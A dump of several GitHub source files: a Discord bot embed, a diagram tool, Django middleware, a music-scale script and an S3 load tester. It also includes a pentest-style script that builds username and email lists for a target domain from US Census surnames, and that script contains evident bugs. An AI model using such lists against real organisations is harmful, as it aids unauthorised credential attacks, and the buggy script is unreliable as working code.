get_most_cheered_post(user.posts)\n most_commented_post = get_most_commented_post(user.posts)\n \n em.add_field(\n name=\"Most Cheered Post\",\n value=\n f\"{get_emoji('cheer')} `{most_cheered_post.cheer_count:,}` — Cheers\\n\"\n f\"{get_emoji('link')} [RecNet Link]({post_url(most_cheered_post.id)})\",\n inline=True\n )\n \n em.add_field(\n name=\"Most Commented Post\",\n value=\n f\"{get_emoji('comment')} `{most_commented_post.comment_count:,}` — Comments\\n\"\n f\"{get_emoji('link')} [RecNet Link]({post_url(most_commented_post.id)})\",\n inline=True\n )\n \n return em\n\ndef get_most_cheered_post(posts):\n return max(posts, key=lambda post: post.cheer_count)\n\ndef get_most_commented_post(posts):\n return max(posts, key=lambda post: post.comment_count)\n\ndef get_total_cheers(posts):\n return sum(map(lambda post: post.cheer_count, posts))\n\ndef get_total_comments(posts):\n return sum(map(lambda post: post.comment_count, posts))","repo_name":"RecNetBot-Development/RecNetBot","sub_path":"old_embeds/image/stats_embed.py","file_name":"stats_embed.py","file_ext":"py","file_size_in_byte":2296,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"36513319248","text":"\n# use this command to download more than 1000 usernmes: wget http://www2.census.gov/topics/genealogy/2000surnames/Top1000.xls\n\n#!/usr/bin/env python\n'''\nAuthor: Piyush Singariya\nInspired From: Christopher S. Duffy\nDate: June 2019\nName: assessor_mark7.py\nPurpose: To generate a username list from the US Census Top 1000 surnames and other lists'''\n\n\nimport sys, string\nimport arparse, os\nfrom collections import namedtuple\ntry:\n import xlrd\nexcept:\n sys.exit(\"[!] Please install the xlrd library: pip install xlrd\")\n\ndef unique_list(list_sort, verbose):\n noted = []\n if verbose >0:\n print(\"[*] removing duplicates while maintaining order\")\n [noted.append(item) for item in list_sort if not noted.count(item)] # List comprehension\n return noted \n\n# using a form of a tuple called a named tuple to accept each row of the spreadsheet\ndef census_parser(filename, verbose):\n # creating the named tuple\n CensusTuple = namedtuple(\"Census\", 'name, rank, count, prop100k, cum_prop100k, pctwhite, pctblack, pctapi, pctaian, pct2prace, pcthispanic')\n\n # variables to hold the workbook, spreadsheet by the name, and the total rows and the initial row of the spreadsheet.\n \n worksheet_name = 'top1000'\n # Define work book and work sheet variables\n workbook = xlrd.open_workbook(filename)\n spreadsheet = workbook.sheet_by_name(worksheet_name)\n total_rows = spreadsheet.nrows - 1\n current_row = -1\n\n # initial variable to hold the resulting value and the actual alphabet.\n \n # Define holder for details\n username_dict = {}\n surname_dict = {}\n alphabet = list(string.ascii_lowercase)\n\n while current_row1:\n print(\"[-] Eliminating table headers\")\n break\n username = letter + str(cellname.value.lower())\n rank = str(cellrank.value)\n username_dict[username] = rank\n username_list = sorted(username_dict, key=lambda key:username_dict[key])\n return(surname_dict, username_dict, username_list)\n\ndef username_file_parser(prepend_file, append_file, verbose):\n if prepend_file:\n put_where = \"begin\"\n filename = prepend_file\n elif append_file:\n put_where = \"end\"\n filename = append_file\n else:\n sys.exit(\"[!] There was an error in processing the supplemental username list!\")\n with open(filename) as file:\n lines = [line.rstrip('\\n') for line in file]\n if verbose>1:\n if 'end' in put_where:\n print(\"[*] Appending %d entries to the username list\") % (len(lines)) \n else:\n print(\"[*] Prepending %d entries to the username list\") % (len(lines))\n return(lines, put_where)\n\ndef combine_usernames(supplemental_list, put_where, username_list, vevrbose):\n if 'begin' in put_where:\n username_list[:0] = supplemental_list # Prepend with a slice\n if 'end' in put_where:\n username_list.extend(supplemental_list)\n username_list = unique_list(username_list, vevrbose)\n return (username_list)\n \n# This last function in this script writes the details to a file.\n\ndef write_username_file(username_list, filename, domain, verbose):\n open(filename, 'w').close() # Deletes the content of the filename\n \n if domain:\n domain_filename = filename + \"_\" + domain\n email_list = []\n open(domain_filename, 'w').close()\n if verbose >1:\n print(\"[*] Writing to %s\") % (filename)\n with open(filename, 'w') as file:\n file.write('\\n'.join(username_list))\n if domain:\n if verbose:\n print(\"[*] Writing domain supported list to %s\") % (domain_filename)\n for line in username_list:\n email_address = line + \"@\" +domain\n email_list.append(email_address)\n with open(domain_filename, 'w') as file:\n file.write('\\n'.join(email_list))\n return\n\nif __name__ == '__main__':\n # If script is execcuted at the CLI\n usage = '''usage: %(prog)s [-c census.xlsx] [-f output_filename] [-p prepend_filename] [-d domain_name] -q -v -vv -vvv'''\n parser = argparse.ArgumentParser(usage=usage)\n parser.add_argument(\"-c\", \"--census\", type=str, help=\"The census file that will be used to create usernames, this can be retrieved like so:\\n wget http://www2.census.gov/topics/genealogy/2000surnames/Top1000.xls\", action=\"store\", dest=\"census_file\")\n parser.add_argument(\"-f\", \"--filename\", type=str, help=\"Filename for output the usernames\", action=\"store\", dest=\"filename\")\n parser.add_argument(\"-a\",\"--append\", type=str, action=\"store\", help=\"A username list to append to the list generated from the census\", dest=\"append_file\")\n parser.add_argument(\"-p\",\"--prepend\", type=str, action=\"store\", help=\"A username list to prepend to the list generated from the census\", dest=\"prepend_file\")\n parser.add_argument(\"-d\",\"--domain\", type=str, action=\"store\", help=\"The domain to append to usernames\", dest=\"domain_name\")\n parser.add_argument(\"-v\", action=\"count\", dest=\"verbose\", default=1, help=\"Verbosity level, defaults to one, this outputs each command and result\")\n parser.add_argument(\"-q\", action=\"store_const\", dest=\"verbose\", const=0, help=\"Sets the results to be quiet\")\n parser.add_argument('--version', action='version', version='%(prog)s 0.42b')\n args = parser.parse_args()\n\n # Set Constructors\n census_file = args.census_file # Census\n filename = args.filename # Filename for outputs\n verbose = args.verbose # Verbosity Level\n append_file = args.append_file # Filename for appending usernames to the output\n prepend_file = args.prepend_file # Filename to prepend to the usernames to the output file\n domain_name = args.domain_name # The name of the domain to be appended to the username lists\n dir = os.getcwd() # Get current working directory\n\n # Argument Validator\n if len(sys.argv) ==1:\n parser.print_help()\n sys.exit(1)\n if append_file and prepend_file:\n sys.exit(\"[!] Please select either prepend or append for a file not both\")\n \n if not filename:\n if os.name != 'nt':\n filename =dir +\"/census_username_list\"\n else:\n filename = dir + '\\\\census_username_list'\n else:\n if filename:\n if '\\\\' or '/' in filename:\n if verbose > 1:\n print(\"[*] Using filename: %s\") % (filename)\n else:\n if os.name != \"nt\":\n filename = dir + \"/\" + filename\n else:\n filename = dir +\"\\\\\" + filename\n if verbose > 1:\n print(\"[*] Using filename: %s\") % (filename)\n\n# define working variables\nsur_dict = {}\nuser_dict = {}\nuser_list = {}\nsup_username = []\ntarget = []\ncombine_users = []\n\n# Process census file\nif not census_file:\n sys.exit(\"[!] You did not provide a census file!\")\nelse:\n sur_dict, user_dict, user_list = census_parser(census_file, verbose)\n\n# Process supllemental username file\nif append_file or prepend_file:\n sup_username, target = username_file_parser(prepend_file, append_file, verbose)\n combined_users = combine_usernames(sup_username, target, user_list, verbose)\nelse:\n combine_users = user_list\n\nwrite_username_file(combine_usernames, filename, domain_name, verbose)","repo_name":"piyushsingariya/assessor-series","sub_path":"assessor_mark7.py","file_name":"assessor_mark7.py","file_ext":"py","file_size_in_byte":7727,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"946343759","text":"\"\"\"Functions for loading DDFs and writing image files.\"\"\"\n\nimport argparse\nimport os\n\nfrom typing import Optional\n\nfrom .arrange import Layout\nfrom .debug import Debug\nfrom .define import Loader, DiagramDef\nfrom .draw import Drawing\n\n######################################################################\n\ndef translate_from_command_line() -> int:\n \"\"\"Create a diagram from command line arguments.\"\"\"\n desc = \"Create diagrams with fixed nodes and orthogonal connectors.\"\n parser = argparse.ArgumentParser(description=desc)\n parser.add_argument(\n 'in_file',\n metavar='INFILE',\n help=\"path of diagram definition file\"\n )\n parser.add_argument(\n \"-d\", \"--debug\",\n action='store_true',\n help=\"print debug information while running\",\n dest='debug',\n )\n parser.add_argument(\n \"-o\", \"--out\",\n metavar='OUTFILE',\n help=\"write diagram to this file\",\n dest='out_file',\n )\n args = parser.parse_args()\n Debug.set_debug(args.debug)\n translate(args.in_file, args.out_file)\n return 0\n\ndef translate_dir(in_dir: str, out_dir: Optional[str] = None) -> None:\n \"\"\"Translate all the files in a directory.\n\n The diagram definition files in the input directory must end in\n \".yaml\" or \".yml\".\n\n \"\"\"\n if not out_dir:\n out_dir = in_dir\n in_files = sorted(os.listdir(in_dir))\n for in_file in in_files:\n if in_file.endswith(\".yaml\") or in_file.endswith(\".yml\"):\n in_path = os.path.join(in_dir, in_file)\n base, _ = os.path.splitext(in_file)\n out_file = base + \".png\"\n out_path = os.path.join(out_dir, out_file)\n print(in_path, \"=>\", out_path)\n translate(in_path, out_path)\n\ndef translate(in_file: str, out_file: Optional[str] = None) -> None:\n \"\"\"Create a PNG file from a diagram definition file.\"\"\"\n diagram = load_ddf(in_file)\n if not out_file:\n pre, _ = os.path.splitext(in_file)\n out_file = pre + \".png\"\n write_png(diagram, out_file)\n\ndef load_ddf(file: str) -> DiagramDef:\n \"\"\"Load a diagram definition from a file.\"\"\"\n loader = Loader()\n loader.load_file(file)\n return loader.builder.diagram_def\n\ndef write_png(diagram_def: DiagramDef, file: str) -> None:\n \"\"\"Produce a PNG file of the diagram.\"\"\"\n layout = Layout(diagram_def)\n drawing = Drawing(layout)\n drawing.write_png(file)\n","repo_name":"yorgath/orthogram","sub_path":"orthogram/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":2425,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"67"} +{"seq_id":"32930443759","text":"import datetime\n\n\nclass CategorySlugMiddleware:\n def __init__(self, get_response):\n self.get_response = get_response\n self.slug_category = None\n\n def __call__(self, request):\n # Код, который выполняется в каждом запросе перед вызовом представления\n response = self.get_response(request)\n # Код, который выполняется в каждом запросе после вызова представления\n return response\n\n def process_view(self, request, view_func, view_args, view_kwargs):\n \"\"\"- Этот код выполняется непосредственно перед вызовом представления\"\"\"\n resolve = request.resolver_match\n if resolve.kwargs:\n self.slug_category = resolve.kwargs.get(\"category_slug\")\n request.slug_category = self.slug_category\n\n\nclass SessionListSlugMiddleware:\n def __init__(self, get_response):\n self.get_response = get_response\n\n def __call__(self, request):\n # Код, который выполняется в каждом запросе перед вызовом представления\n response = self.get_response(request)\n # Код, который выполняется в каждом запросе после вызова представления\n return response\n\n def process_view(self, request, view_func, view_args, view_kwargs):\n \"\"\"- Этот код выполняется непосредственно перед вызовом представления\"\"\"\n date = datetime.datetime.now().timestamp()\n repeat_words = request.session.get(\"repeat_words\", None)\n if repeat_words:\n request.session_list_slug = [\n slug for slug, time, _ in repeat_words\n if not time > date\n ]\n print('SessionListSlugMiddleware list_filter_slug', request.session_list_slug)\n print('SessionListSlugMiddleware list_slug', request.session.get(\"repeat_words\", None))\n else:\n request.session_list_slug = []\n","repo_name":"velllum/language_training","sub_path":"language_training/translator/middleware.py","file_name":"middleware.py","file_ext":"py","file_size_in_byte":2186,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"23612738300","text":"#!/usr/bin/env python3\nfrom collections import deque\nimport sys\n\ndef sharp_keys(key):\n all_notes = [\n \"A\", \"A#\", \"B\",\n [\"B#\", \"C\"], \"C#\", \"D\",\n \"D#\", \"E\", [\"E#\", \"F\"],\n \"F#\", \"G\", \"G#\"\n ]\n intervals = [\"1\", \"m2\", \"M2\", \n \"m3\", \"M3\", \"P4\", \n \"b5\", \"P5\", \"m6\",\n \"M6\", \"b7\", \"M7\"\n ]\n if key == \"C\":\n i = 3\n elif key == \"C#\":\n i = 4\n else:\n i = all_notes.index(key)\n nt_q = deque(all_notes)\n nt_q.rotate(-i)\n chromatic_scale = [*nt_q]\n d = dict(zip(intervals, chromatic_scale))\n\n major_note_opts = d.get('1'),d.get('M2'),d.get('M3'),d.get('P4'),d.get('P5'),d.get('M6'),d.get('M7')\n \n major_scale_notes = []\n # work out which of the enharmonic note options to take\n for note in major_note_opts:\n if isinstance(note,str):\n major_scale_notes.append(note)\n for note in major_note_opts:\n if isinstance(note,list):\n opt1 = note[0][0]\n # print(f\"option1: {opt1}\")\n if opt1 not in major_scale_notes:\n major_scale_notes.append(note[0])\n else:\n major_scale_notes.append(note[1])\n # sort (as append changes order) and resort in key order\n major_scale_notes = sorted(major_scale_notes)\n i = major_scale_notes.index(key)\n nt_q = deque(major_scale_notes)\n nt_q.rotate(-i)\n major_scale_list = [*nt_q]\n return major_scale_list\n\n\nsharp_keys_list = ['C','G','D','A','E','B','F#','C#']\n\nprint(\"All sharp keys...\")\nfor key in sharp_keys_list:\n notes = sharp_keys(key)\n print(notes)\n\nkey = input(\"Input a key to find out all the notes in the major scale: \").upper()\n\ntry:\n notes = sharp_keys(key)\nexcept ValueError as err:\n print(f\"ERROR: '{key}' is not a valid sharp key, choose from 'C','G','D','A','E','B','F#','C#'. Message: ({err})\")\n sys.exit(1)\nelse:\n print(notes)","repo_name":"swilkogmail/tools","sub_path":"python/music_project/major.py","file_name":"major.py","file_ext":"py","file_size_in_byte":1986,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"25530988065","text":"import uuid\nimport json\nimport time\nimport random\nimport urllib3\nimport datetime\nimport contextlib\nimport subprocess\nimport concurrent.futures\nfrom threading import Thread, Lock\nfrom collections import defaultdict\n\nimport boto3\nimport requests\nfrom botocore.client import Config\nfrom botocore.exceptions import ClientError\n\nfrom cwm_worker_cluster import common\nfrom cwm_worker_cluster.worker import api as worker_api\nfrom cwm_worker_cluster.test_instance import api as test_instance_api\nfrom cwm_worker_tests.retry import retry_exception_dynamic\n\n\nurllib3.disable_warnings()\n\n\nDEFAULT_BUCKET_NAME = 'cwmwtlgcustomdefault'\n\n\n@contextlib.contextmanager\ndef get_start_end_duration_ns():\n res = {}\n start_datetime = datetime.datetime.now()\n start_monotonic = time.monotonic()\n yield res\n duration_seconds = time.monotonic() - start_monotonic\n res['duration_ns'] = round(duration_seconds * 1000000000)\n assert res['duration_ns'] >= 0\n res['start_time'] = start_datetime\n res['end_time'] = start_datetime + datetime.timedelta(seconds=duration_seconds)\n\n\nclass RunCustomThread(Thread):\n\n def __init__(self, thread_num, method, objects, duration_seconds, obj_size_kb, custom_load_options, benchdatafile, benchdatafilelock, domain_name_buckets):\n super().__init__()\n self.method = method\n self.duration_seconds = duration_seconds\n self.thread_num = thread_num\n self.objects = objects\n self.obj_size_kb = obj_size_kb\n self.stats = defaultdict(int)\n self.last_put_object_key = None\n self.last_put_object_domain_name = None\n self.custom_load_options = custom_load_options\n self.benchdatafile = benchdatafile\n self.benchdatafilelock = benchdatafilelock\n self.domain_name_buckets = domain_name_buckets\n self.domain_name_buckets_cache = {}\n\n def get_bucket(self, domain_name):\n if domain_name in self.domain_name_buckets_cache:\n return self.domain_name_buckets_cache[domain_name]\n else:\n start_time = datetime.datetime.now()\n s3 = None\n while not s3:\n try:\n s3 = get_s3_resource(self.method, domain_name, with_retries=True)\n except:\n if (datetime.datetime.now() - start_time).total_seconds() > 120:\n print(\"Timeout trying to get s3 resource\")\n raise\n bucket = s3.Bucket(self.domain_name_buckets[domain_name])\n if self.custom_load_options.get('enable_s3_buckets_cache'):\n self.domain_name_buckets_cache[domain_name] = bucket\n return bucket\n\n def write_benchdata(self, op, bytes, file, error, start_end_duration, domain_name):\n file = file.replace(',', '_') if file else ''\n error = error.replace(',', '_') if error else ''\n endpoint = '{}://{}'.format(self.method, domain_name)\n duration_ns = start_end_duration['duration_ns']\n start = first_byte = start_end_duration['start_time'].strftime('%Y-%m-%dT%H:%M:%S.000%fZ')\n end = start_end_duration['end_time'].strftime('%Y-%m-%dT%H:%M:%S.000%fZ')\n writearg = \",\".join(map(str, [op, bytes if bytes else 0, endpoint, file, error if error else '', start, first_byte, end, duration_ns])) + \"\\n\"\n if self.benchdatafile:\n with self.benchdatafilelock:\n self.benchdatafile.write(writearg)\n self.benchdatafile.flush()\n\n def make_head_request(self, object, domain_name):\n self.stats['num_head_requests'] += 1\n head_request_error = None\n with get_start_end_duration_ns() as start_end_duration:\n try:\n object.load()\n except Exception as e:\n head_request_error = str(e)\n if not head_request_error:\n if object.content_length != self.obj_size_kb * 1024:\n head_request_error = \"invalid content length\"\n self.write_benchdata('STAT', 0, object.key, head_request_error, start_end_duration, domain_name)\n return not head_request_error\n\n def make_cached_get_request(self, filename, domain_name):\n self.stats['num_cached_get_requests'] += 1\n cached_get_request_error = None\n with get_start_end_duration_ns() as start_end_duration:\n urlpath = '{}/{}'.format(self.domain_name_buckets[domain_name], filename)\n url = '{}://{}/{}'.format(self.method, domain_name, urlpath)\n try:\n res = requests.get(url, stream=True)\n obj_size = sum(len(data) for data in res.iter_content(chunk_size=1))\n except Exception as e:\n cached_get_request_error = str(e)\n if not cached_get_request_error:\n if obj_size != self.obj_size_kb * 1024:\n cached_get_request_error = \"invalid object size\"\n self.write_benchdata('CACHED_GET', obj_size, urlpath, cached_get_request_error, start_end_duration, domain_name)\n return not cached_get_request_error\n\n def make_get_request(self, object, domain_name):\n self.stats['num_get_requests'] += 1\n get_request_error = None\n obj_size = 0\n with get_start_end_duration_ns() as start_end_duration:\n try:\n obj_size = len(object.get()['Body'].read())\n except Exception as e:\n get_request_error = str(e)\n if not get_request_error:\n if obj_size != self.obj_size_kb * 1024:\n get_request_error = \"invalid object size\"\n self.write_benchdata('GET', obj_size, object.key, get_request_error, start_end_duration, domain_name)\n return not get_request_error\n\n def make_del_request(self, key, domain_name):\n self.stats['num_del_requests'] += 1\n del_request_error = None\n with get_start_end_duration_ns() as start_end_duration:\n try:\n self.get_bucket(domain_name).Object(key).delete()\n except Exception as e:\n del_request_error = str(e)\n self.write_benchdata('DELETE', 0, key, del_request_error, start_end_duration, domain_name)\n return not del_request_error\n\n def make_put_request(self, key, domain_name):\n self.stats['num_put_requests'] += 1\n put_request_error = None\n with get_start_end_duration_ns() as start_end_duration:\n try:\n self.get_bucket(domain_name).put_object(Key=key, Body=random.getrandbits(int(self.obj_size_kb) * 1024 * 8).to_bytes(int(self.obj_size_kb) * 1024, 'little'))\n except Exception as e:\n put_request_error = str(e)\n self.write_benchdata('PUT', self.obj_size_kb * 1024, key, put_request_error, start_end_duration, domain_name)\n return not put_request_error\n\n def make_put_or_del_request(self):\n if self.last_put_object_key and self.last_put_object_domain_name:\n if not self.make_del_request(self.last_put_object_key, self.last_put_object_domain_name):\n self.stats['num_del_errors'] += 1\n self.last_put_object_key = None\n self.last_put_object_domain_name = None\n else:\n put_object_key = self.name + '/' + str(uuid.uuid4()) + '.rnd'\n put_object_domain_name = random.choice(list(self.domain_name_buckets.keys()))\n if self.make_put_request(put_object_key, put_object_domain_name):\n self.last_put_object_key = put_object_key\n self.last_put_object_domain_name = put_object_domain_name\n else:\n self.stats['num_put_errors'] += 1\n\n def get_domain_name_bucket(self):\n domain_name = random.choice(list(self.domain_name_buckets.keys()))\n return domain_name, self.get_bucket(domain_name)\n\n def get_domain_name(self):\n return random.choice(list(self.domain_name_buckets.keys()))\n\n def run(self):\n make_put_or_del_every_iterations = self.custom_load_options.get('make_put_or_del_every_iterations', 100)\n start_time = datetime.datetime.now()\n while (datetime.datetime.now() - start_time).total_seconds() <= self.duration_seconds:\n for i in range(self.objects):\n if (datetime.datetime.now() - start_time).total_seconds() > self.duration_seconds:\n break\n self.stats['num_object_iterations'] += 1\n filename = 'file{}.rnd'.format(i+1)\n if self.custom_load_options.get('do_cached_get'):\n domain_name = self.get_domain_name()\n if not self.make_cached_get_request(filename, domain_name):\n self.stats['num_cached_get_errors'] += 1\n else:\n domain_name, bucket = self.get_domain_name_bucket()\n object = bucket.Object(filename)\n if self.make_head_request(object, domain_name):\n if not self.make_get_request(object, domain_name):\n self.stats['num_get_errors'] += 1\n else:\n self.stats['num_head_errors'] += 1\n if make_put_or_del_every_iterations and self.stats['num_object_iterations'] % (int(self.objects / make_put_or_del_every_iterations) + 1) == 0:\n self.make_put_or_del_request()\n self.stats['elapsed_seconds'] = (datetime.datetime.now() - start_time).total_seconds()\n\n\ndef get_s3_resource(method, domain_name, with_retries=False, retry_max_attempts=None, connect_timeout=120, read_timeout=240):\n if retry_max_attempts is None:\n retry_max_attempts = 10 if with_retries else 0\n else:\n assert with_retries, 'must set with_retries=True if you set retry_max_attempts'\n return boto3.resource(\n 's3', **test_instance_api.get_deployment_s3_resource_kwargs_by_hostname(method, domain_name),\n config=Config(\n signature_version='s3v4',\n retries={'max_attempts': retry_max_attempts, 'mode': 'standard'},\n connect_timeout=connect_timeout, read_timeout=read_timeout\n )\n )\n\n\ndef prepare_custom_bucket(method, worker_id, hostname, objects=10, duration_seconds=10, concurrency=6,\n obj_size_kb=1, bucket_name=None, skip_delete_worker=False,\n skip_clear_cache=False, skip_clear_volume=False, skip_all=True,\n upload_concurrency=5, skip_create_bucket=False, only_upload_filenums=None, delete_keys=None):\n if not skip_all:\n worker_api.volume_api_recreate(worker_id=worker_id, skip_delete_worker=skip_delete_worker, skip_clear_cache=skip_clear_cache, skip_clear_volume=skip_clear_volume)\n if not bucket_name:\n bucket_name = str(uuid.uuid4())\n print(\"Creating bucket {} in domain_name {} method {}\".format(bucket_name, hostname, method))\n s3 = get_s3_resource(method, hostname, with_retries=True)\n if not skip_create_bucket:\n try:\n s3.create_bucket(Bucket=bucket_name)\n time.sleep(10)\n except ClientError as e:\n if e.response['Error']['Code'] == 'BucketAlreadyOwnedByYou':\n print('got botocore ClientError \"BucketAlreadyOwnedByYou\", this is probably fine')\n else:\n raise\n s3.BucketPolicy(bucket_name).put(\n Policy=json.dumps({\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Effect\": \"Allow\",\n \"Principal\": {\"AWS\": [\"*\"]},\n \"Action\": [\"s3:GetBucketLocation\", \"s3:ListBucket\"],\n \"Resource\": [\"arn:aws:s3:::{}\".format(bucket_name)]\n },\n {\n \"Effect\": \"Allow\",\n \"Principal\": {\"AWS\": [\"*\"]},\n \"Action\": [\"s3:GetObject\"],\n \"Resource\": [\"arn:aws:s3:::{}/*\".format(bucket_name)]\n }\n ]\n })\n )\n print(\"Uploading {} files, {} kb each\".format(objects if only_upload_filenums is None else len(only_upload_filenums), obj_size_kb))\n filenums_iterator = range(int(objects)) if only_upload_filenums is None else (int(i)-1 for i in only_upload_filenums)\n if delete_keys:\n print(\"Deleting {} files\".format(len(delete_keys)))\n\n def put_or_del_object(op, key):\n s3 = get_s3_resource(method, hostname, with_retries=True)\n if op == 'put':\n bucket = s3.Bucket(bucket_name)\n i = int(key)\n bucket.put_object(Key='file{}.rnd'.format(i + 1), Body=random.getrandbits(int(obj_size_kb) * 1024 * 8).to_bytes(int(obj_size_kb) * 1024, 'little'))\n elif op == 'del':\n s3.delete_object(Bucket=bucket_name, Key=key)\n\n if upload_concurrency:\n print(\"Starting {} threads\".format(upload_concurrency))\n executor = concurrent.futures.ThreadPoolExecutor(max_workers=upload_concurrency)\n for i in filenums_iterator:\n executor.submit(put_or_del_object, 'put', i)\n if delete_keys:\n for key in delete_keys:\n executor.submit(put_or_del_object, 'del', key)\n executor.shutdown(wait=True)\n else:\n for i in filenums_iterator:\n put_or_del_object('put', i)\n if delete_keys:\n for key in delete_keys:\n put_or_del_object('del', key)\n return bucket_name\n\n\n@contextlib.contextmanager\ndef open_benchdata_file(benchdatafilename, method):\n if benchdatafilename:\n with open('{}.{}.csv'.format(benchdatafilename, method), 'w') as benchdatafile:\n yield benchdatafile\n else:\n yield None\n\n\ndef get_default_bucket_name(obj_size_kb, objects):\n return '{}-{}kb-{}'.format(DEFAULT_BUCKET_NAME, obj_size_kb, objects)\n\n\ndef _prepare_default_bucket(\n method, worker_id, hostname, objects, obj_size_kb, with_delete=False, upload_concurrency=5,\n with_recreate=False\n):\n if with_recreate:\n time.sleep(10)\n common.assert_site(\n worker_id, hostname,\n skip_clear_cache=True, skip_clear_volume=True, skip_all=False,\n protocols=['https']\n )\n bucket_name = get_default_bucket_name(obj_size_kb, objects)\n bucket = get_s3_resource(method, hostname, with_retries=True).Bucket(bucket_name)\n bucket.load()\n if not bucket.creation_date:\n bucket.create()\n time.sleep(10)\n bucket.Policy().put(\n Policy=json.dumps({\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Effect\": \"Allow\",\n \"Principal\": {\"AWS\": [\"*\"]},\n \"Action\": [\"s3:GetBucketLocation\", \"s3:ListBucket\"],\n \"Resource\": [\"arn:aws:s3:::{}\".format(bucket_name)]\n },\n {\n \"Effect\": \"Allow\",\n \"Principal\": {\"AWS\": [\"*\"]},\n \"Action\": [\"s3:GetObject\"],\n \"Resource\": [\"arn:aws:s3:::{}/*\".format(bucket_name)]\n }\n ]\n })\n )\n delete_threadkeys = set()\n missing_filenums = set()\n for i in range(int(objects)):\n missing_filenums.add(i+1)\n for object in bucket.objects.all():\n if object.key.startswith('file') and object.key.endswith('.rnd') and object.size == obj_size_kb * 1024:\n filenum = int(object.key.replace('file', '').replace('.rnd', ''))\n if filenum in missing_filenums:\n missing_filenums.remove(filenum)\n elif object.key.startswith('Thread') and with_delete:\n delete_threadkeys.add(object.key)\n if len(missing_filenums) > 0 or len(delete_threadkeys) > 0:\n prepare_custom_bucket(method, worker_id, hostname, obj_size_kb=obj_size_kb, bucket_name=bucket_name,\n skip_create_bucket=True, only_upload_filenums=missing_filenums, delete_keys=delete_threadkeys,\n upload_concurrency=upload_concurrency)\n\n\ndef prepare_default_bucket(method, worker_id, hostname, objects, obj_size_kb, with_delete=False, upload_concurrency=5, with_retries=False):\n if with_retries:\n retry_exception_dynamic(\n _prepare_default_bucket,\n [\n {},\n {'sleep_seconds': 5},\n {'sleep_seconds': 5},\n {'sleep_seconds': 5},\n {'sleep_seconds': 1, 'extra_kwargs': {'with_recreate': True}},\n {'sleep_seconds': 5},\n {'sleep_seconds': 10},\n {'sleep_seconds': 20},\n {'sleep_seconds': 60},\n ],\n callback_args=[method, worker_id, hostname, objects, obj_size_kb],\n callback_kwargs=dict(with_delete=with_delete, upload_concurrency=upload_concurrency)\n )\n else:\n _prepare_default_bucket(method, worker_id, hostname, objects, obj_size_kb, with_delete=with_delete, upload_concurrency=upload_concurrency)\n\n\ndef run(method, worker_id, hostname, objects, duration_seconds, concurrency, obj_size_kb,\n benchdatafilename, custom_load_options=None, use_default_bucket=False,\n benchdata_format=None):\n if not benchdata_format:\n benchdata_format = 'csv.gz'\n assert method in ['http', 'https'], \"invalid method: {}\".format(method)\n if not custom_load_options.get('random_domain_names'):\n assert worker_id and hostname, \"missing worker_id or hostname arguments\"\n assert objects > 0\n assert duration_seconds > 0, \"duration_seconds must be bigger than 0\"\n assert obj_size_kb > 0, \"obj_size argument should be empty for custom load generator\"\n if custom_load_options.get('use_default_bucket'):\n use_default_bucket = True\n skip_prepare_bucket = custom_load_options.get('skip_prepare_bucket')\n bucket_name = custom_load_options.get(\"bucket_name\")\n if bucket_name:\n assert not use_default_bucket, 'cannot use default bucket if you specified a bucket name'\n print(\"Using pre-prepared bucket {}\".format(bucket_name))\n elif use_default_bucket:\n bucket_name = get_default_bucket_name(obj_size_kb, objects)\n print(\"Using default bucket: {}\".format(bucket_name))\n else:\n assert not custom_load_options.get('random_domain_names'), 'bucket must be pre-prepared when using random domain names'\n assert not skip_prepare_bucket, 'cannot skip prepare bucket if no bucket_name'\n bucket_name = prepare_custom_bucket(method, worker_id, hostname, objects, duration_seconds, concurrency, obj_size_kb)\n if custom_load_options.get('random_domain_names'):\n domain_name_buckets = {\n hostname: bucket_name\n for worker_id, hostname in custom_load_options['random_domain_names'].items()\n }\n if use_default_bucket and not skip_prepare_bucket:\n for worker_id, hostname in custom_load_options['random_domain_names'].items():\n prepare_default_bucket(method, worker_id, hostname, objects, obj_size_kb)\n else:\n domain_name_buckets = {hostname: bucket_name}\n if use_default_bucket and not skip_prepare_bucket:\n prepare_default_bucket(method, worker_id, hostname, objects, obj_size_kb)\n print(\"Starting {} threads of custom load ({})\".format(concurrency, method))\n with open_benchdata_file(benchdatafilename, method) as benchdatafile:\n if benchdatafile:\n benchdatafile.write(\"op,bytes,endpoint,file,error,start,first_byte,end,duration_ns\\n\")\n benchdatafilelock = Lock()\n else:\n benchdatafilelock = None\n threads = {}\n for i in range(concurrency):\n thread = RunCustomThread(i+1, method, objects, duration_seconds, obj_size_kb, custom_load_options, benchdatafile, benchdatafilelock, domain_name_buckets)\n threads[i] = thread\n thread.start()\n start_time = datetime.datetime.now()\n max_wait_seconds = duration_seconds * 10\n print(\"Waiting for all threads to complete (up to {} seconds)\".format(max_wait_seconds))\n is_alive = True\n while is_alive:\n total_get_errors = sum([thread.stats['num_get_errors'] for thread in threads.values()])\n total_cached_get_errors = sum([thread.stats['num_cached_get_errors'] for thread in threads.values()])\n total_del_errors = sum([thread.stats['num_del_errors'] for thread in threads.values()])\n total_put_errors = sum([thread.stats['num_put_errors'] for thread in threads.values()])\n total_head_errors = sum([thread.stats['num_head_errors'] for thread in threads.values()])\n total_errors = sum([total_get_errors, total_cached_get_errors, total_del_errors, total_put_errors, total_head_errors])\n if total_errors > 0 and total_errors % 100 == 0:\n print(\"get_errors={}\".format(total_get_errors))\n print(\"total_cached_get_errors={}\".format(total_cached_get_errors))\n print(\"del_errors={}\".format(total_del_errors))\n print(\"put_errors={}\".format(total_put_errors))\n print(\"head_errors={}\".format(total_head_errors))\n assert (datetime.datetime.now() - start_time).total_seconds() <= max_wait_seconds, \"Waited too long for all threads to complete\"\n time.sleep(1)\n is_alive = False\n for i in reversed(range(concurrency)):\n if threads[i].is_alive():\n is_alive = True\n break\n if benchdatafilename and benchdata_format == 'csv.gz':\n print(\"Compressing benchdata file\")\n ret, out = subprocess.getstatusoutput(\"gzip -fq {}.{}.csv\".format(benchdatafilename, method))\n assert ret == 